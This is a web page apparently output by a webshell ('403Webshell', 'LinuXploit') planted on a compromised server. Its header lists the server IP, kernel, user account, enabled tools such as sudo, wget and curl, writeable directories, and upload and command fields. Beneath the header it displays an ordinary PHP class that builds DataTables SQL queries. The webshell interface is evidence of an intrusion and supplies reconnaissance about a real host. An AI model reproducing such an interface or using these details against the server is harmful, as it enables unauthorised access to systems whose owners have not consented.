403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ttjs.cz/dev/app/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/ttjs.cz/dev/app/classes/DatableCollection.php
<?php

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

/**
 * Description of DatableCollection
 *
 * @author Maroš
 */

namespace app\classes;

class DatableCollection extends PDOCollection {

    protected $columns;
    protected $recordsTotal = 0;
    protected $recordsFiltered = 0;
    protected $t;

    public function __construct($table, $idColumn, $conditions, array $columns, array $post, array $bindArray, $groupBy = false) {
        $this->t = Translator::getInstance();
        $this->columns = $columns;
        $columnsToImplode = array();
        foreach ($columns as $key => $val) {
            $columnsToImplode[$key] = $val . " AS " . $key;
        }
        $sql = "SELECT " . implode(", ", $columnsToImplode) . " FROM " . $table . " " . $conditions;
        $bindArrayTotal = $bindArray;
//        if (key_exists("id", $columns) && $groupBy !== false) {
//            $sqlTotal = "SELECT COUNT(DISTINCT(" . $columns["id"] . ")) FROM " . $table . " " . $conditions;
//        } else {
            $sqlTotal = "SELECT COUNT(*) FROM " . $table . " " . $conditions;
//        }
        $sqlFiltered = $sqlTotal;
        $search = trim($post["search"]["value"]);
        if ($search !== "") {
            $search = "%" . $search . "%";
            $bindArray["search"] = $search;
            $columnsToImplode2 = array();
            foreach ($columns as $key => $val) {
                if (strpos($val, "(") === false) {
                    $columnsToImplode2[$key] = $val;
                }
            }
            $sql .= " AND (" . implode(" LIKE :search OR ", $columnsToImplode2) . " LIKE :search) ";
            $sqlFiltered .= " AND (" . implode(" LIKE :search OR ", $columnsToImplode2) . " LIKE :search) ";
        }

        if ($groupBy !== false) {
            $sql .= " " . $groupBy . " ";
//            $sqlFiltered .= " " . $groupBy . " ";
//            $sqlTotal .= " " . $groupBy . " ";
        }

        if (isset($post["columns"][$post["order"][0]["column"]]) && isset($columns[$post["columns"][$post["order"][0]["column"]]["data"]])) {
            $sql .= " ORDER BY " . $columns[$post["columns"][$post["order"][0]["column"]]["data"]] . " " . ($post["order"][0]["dir"] === "asc" ? "ASC " : "DESC ");
        }
        $sql .= " LIMIT " . intval($post["length"]) . " OFFSET " . intval($post["start"]);
        parent::__construct($table, $idColumn, $sql, $bindArray);
        $this->recordsTotal = $this->db->getValue($sqlTotal, $bindArrayTotal);
        $this->recordsFiltered = $this->db->getValue($sqlFiltered, $bindArray);
        if ($this->recordsFiltered === NULL) {
            $this->recordsFiltered = 0;
        }
    }

    public function getReponseData() {
        return array(
            "recordsTotal" => $this->recordsTotal,
            "recordsFiltered" => $this->recordsFiltered,
            "data" => array_values($this->collection)
        );
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit